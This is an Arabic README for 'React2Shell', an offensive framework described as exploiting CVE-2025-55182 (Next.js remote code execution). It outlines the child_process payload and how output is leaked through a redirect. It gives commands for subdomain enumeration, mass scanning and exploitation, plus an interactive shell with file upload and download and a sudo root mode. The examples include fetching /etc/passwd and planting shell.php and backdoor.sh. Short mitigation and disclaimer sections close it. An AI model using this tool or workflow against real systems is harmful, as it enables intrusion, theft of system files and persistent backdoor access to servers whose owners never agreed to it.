🚨 React2Shell - إطار عمل استغلال CVE-2025-55182

إطار عمل استغلال متقدم لـ CVE-2025-55182 (تنفيذ كود عن بُعد في Next.js)
المؤلف: opsecramdan
📚 جدول المحتويات
- نظرة عامة
- تفاصيل الثغرة
- الميزات
- المتطلبات
- التثبيت
- الاستخدام
- الصدفة التفاعلية
- ملفات الإخراج
- التأثير
- التخفيف
- القيود
- إخلاء المسؤولية
📌 نظرة عامة
React2Shell هو إطار عمل استغلال لتحديد واستغلال الثغرة CVE-2025-55182 في التطبيقات المبنية على Next.js.
تم تصميم هذه الأداة كـ مجموعة أدوات هجومية شاملة تتضمن:
- تعداد النطاقات الفرعية
- مسح الثغرات
- محرك الاستغلال
- صدفة عن بُعد تفاعلية
🔍 تفاصيل الثغرة
- CVE ID: CVE-2025-55182
- النوع: تنفيذ كود عن بُعد (RCE)
- المنصة: Next.js
- متجه الهجوم: طلب multipart/form-data ضار
- التأثير: تنفيذ أوامر عشوائية
🧠 السبب الجذري
تستغل هذه الثغرة الآلية الداخلية لـ Next.js بالطريقة التالية:
- حقن الحمولة في الطلب
- استدعاء: process.mainModule.require('child_process')
- تنفيذ أمر نظام التشغيل
- ترميز الإخراج في Base64
- تسريب النتيجة عبر إعادة التوجيه (
/login?a=)
⚙️ الميزات
🔎 تعداد النطاقات الفرعية
- فحص DNS + HTTP
- قائمة كلمات مدمجة
- دعم قائمة كلمات مخصصة
- حفظ النتيجة تلقائيًا
🧪 ماسح الثغرات
- اختبار متعدد النقاط النهائية:
/
/api
/api/auth
/_next
/admin
/dashboard
- تحليل الرؤوس والاستجابات
- تقليل النتائج الإيجابية الخاطئة
💣 محرك الاستغلال
- توليد تلقائي للحمولة
- تنفيذ مشفر بـ Base64
- استخراج الإخراج عبر إعادة التوجيه
🖥️ الصدفة التفاعلية
- تنفيذ أوامر عن بُعد
- جلسة دائمة
- تتبع الدليل
📂 عمليات الملفات
- رفع ملف
- تنزيل ملف
- إنشاء ملف
👑 وضع الجذر
- تنفيذ
sudo -i
- محاكاة رفع الصلاحيات
📦 المتطلبات
تثبيت التبعيات:
pip install requests dnspython
📥 التثبيت
1. استنساخ المستودع
git clone https://github.com/yourusername/react2shell-cve-2025-55182.git
2. ادخل إلى المجلد
cd react2shell-cve-2025-55182
3. تشغيل الأداة
python3 react2shell.py
🚀 الاستخدام
🎯 هدف واحد
python3 react2shell.py -u https://target.com
بدون بروتوكول:
python3 react2shell.py -u target.com
📄 أهداف متعددة
python3 react2shell.py -f targets.txt
مثال لمحتوى targets.txt:
https://target1.com
http://target2.com:3000
target3.com
🌐 الوضع الكامل (استطلاع + مسح + استغلال)
python3 react2shell.py -d example.com
التدفق:
- تعداد النطاقات الفرعية
- مسح الثغرات
- الاستغلال (اختياري)
📚 قائمة كلمات مخصصة
python3 react2shell.py -d example.com -w wordlist.txt
🐞 وضع التصحيح
python3 react2shell.py -d example.com --debug
🖥️ الصدفة التفاعلية
بعد نجاح الاستغلال، ستحصل على وصول إلى الصدفة.
الأوامر الأساسية
whoami
id
uname -a
pwd
ls -lah
⚙️ الأوامر الخاصة
| الأمر | الوصف |
|---|
| .root | تبديل وضع الجذر |
| .upload | رفع ملف إلى الهدف |
| .download | تنزيل ملف من الهدف |
| .create | إنشاء ملف في الهدف |
| .save | حفظ الإخراج في ملف محلي |
| .exit | الخروج من الصدفة |
📂 رفع ملف
.upload shell.php /tmp/shell.php
📥 تنزيل ملف
.download /etc/passwd
📄 إنشاء ملف
.create /tmp/test.txt
🔄 سير عمل مثال
1. مسح النطاق
python3 react2shell.py -d example.com
2. تحديد الهدف القابل للاستغلال
3. الدخول إلى الصدفة
whoami
4. رفع الحمولة
.upload backdoor.sh /tmp/backdoor.sh
📁 ملفات الإخراج
ستقوم الأداة بتوليد:
- subdomains_*.txt
- vulnerable_*.txt
- output_*.txt
⚠️ التأثير
إذا تم استغلالها بنجاح:
- تنفيذ أوامر عن بُعد
- الوصول إلى الملفات الحساسة
- رفع باب خلفي
- وصول دائم
- رفع الصلاحيات
🛡️ التخفيف
- تحديث Next.js إلى أحدث إصدار
- تقييد النقاط النهائية الداخلية
- التحقق من الإدخال بدقة
- استخدام WAF (OWASP CRS)
- مراقبة النشاطات الشاذة
⚠️ إخلاء المسؤولية
صُممت هذه الأداة فقط لـ:
- التعلم
- البحث
- اختبار الاختراق المصرح به
ممنوع استخدامها في الأنشطة غير القانونية.
⭐ ملاحظات
يوضح هذا المشروع:
- مهارة استغلال متقدمة
- فهم الدواخل الداخلية لـ Next.js
- محاكاة هجمات العالم الحقيقي